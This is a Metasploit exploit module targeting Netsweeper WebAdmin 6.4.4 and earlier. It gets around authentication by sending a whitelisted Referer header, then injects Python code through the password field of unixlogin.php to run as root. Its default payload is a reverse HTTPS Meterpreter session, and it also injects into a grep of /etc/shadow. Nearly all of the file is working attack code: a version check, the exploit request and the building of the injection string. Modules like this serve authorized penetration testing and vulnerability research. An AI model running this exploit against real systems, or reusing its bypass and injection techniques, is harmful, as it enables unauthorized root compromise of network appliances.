##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netsweeper WebAdmin unixlogin.php Python Code Injection',
'Description' => %q{
This module exploits a Python code injection in the Netsweeper
WebAdmin component's unixlogin.php script, for versions 6.4.4 and
prior, to execute code as the root user.
Authentication is bypassed by sending a random whitelisted Referer
header in each request.
Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
been confirmed exploitable.
},
'Author' => [
# Reported to SecuriTeam SSD by an anonymous researcher
# Reference exploit written by said anonymous researcher
# Publicly disclosed by Noam Rathaus of SecuriTeam's SSD
'wvu' # Module
],
'References' => [
['URL', 'https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/'],
['URL', 'https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says']
],
'DisclosureDate' => '2020-04-28', # SecuriTeam SSD advisory
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Privileged' => true,
'Targets' => [['Python', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'python/meterpreter/reverse_https'
},
'Notes' => {
'NOCVE' => 'Publicly disclosed via SecuriTeam SSD advisory',
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,
'/webadmin/tools/systemstatus_remote.php'),
'headers' => {
'Referer' => rand_referer(:check) # Auth bypass via Referer header
}
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.code == 200
return CheckCode::Unknown('Target is not running Netsweeper.')
end
if res.body.include?('Permission Denied: Unauthorized access.')
return CheckCode::Safe('Target has rejected our Referer auth bypass.')
end
# Example version information from /webadmin/tools/systemstatus_remote.php:
# Version: 6.4.3
# Build Date: 2020-03-27 14:15:19
# Database Version: 139
unless (version = res.body.scan(/^Version: ([\d.]+)$/).flatten.first)
return CheckCode::Detected(
'Target did not respond with Netsweeper version.'
)
end
if Gem::Version.new(version) <= Gem::Version.new('6.4.4')
return CheckCode::Appears(
"Netsweeper #{version} is a vulnerable version."
)
end
CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
referer = rand_referer(:exploit)
vprint_status("Selecting random whitelisted Referer header: #{referer}")
vprint_status("Injecting Python code into password field: #{fake_password}")
normie_uri = normalize_uri(target_uri.path, '/webadmin/tools/unixlogin.php')
print_status("Sending #{datastore['PAYLOAD']} to #{full_uri(normie_uri)}")
# The application may block on the payload, so time out reasonably soon
res = send_request_cgi({
'method' => 'POST',
'uri' => normie_uri,
'headers' => {
'Referer' => referer
},
'vars_post' => {
'login' => '.', # Bypass user check by injecting `grep . /etc/shadow'
'password' => fake_password
}
}, 3.5)
return unless res
# An unexpected reply typically means some sort of error, so print it out
fail_with(Failure::UnexpectedReply, res.body)
end
def fake_password
return @fake_password if @fake_password
# Arguments for crypt.crypt(): https://docs.python.org/2/library/crypt.html
word = rand_text_alphanumeric(8..42)
salt = rand_text_alphanumeric(2) # This is DES-safe because we remove algo
# Python code injection occurs in the $2 positional parameter from sh(1):
# password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')")
@fake_password = "#{word}', '#{salt}'); #{payload.encoded} #"
end
# Select a random Referer [sic] header value from an appropriate whitelist
def rand_referer(method = :check)
case method
when :check
%w[
webadmin/admin/systemstatus_inc_data.php
webadmin/api/
webadmin/common/systemstatus_overview_ajax.php
].sample
when :exploit
%w[
systemconfig/edit_database_settings.php
systemconfig/edit_file.php
systemconfig/manage_certs.php
webadmin/admin/service_manager_data.php
webadmin/api/
webadmin/systemconfig/edit_email_sending_settings.php
webadmin/systemconfig/grant_db_access.php
].sample
else
fail_with(Failure::BadConfig,
"I don't know how to #{method}, but I do know how to love")
end
end
end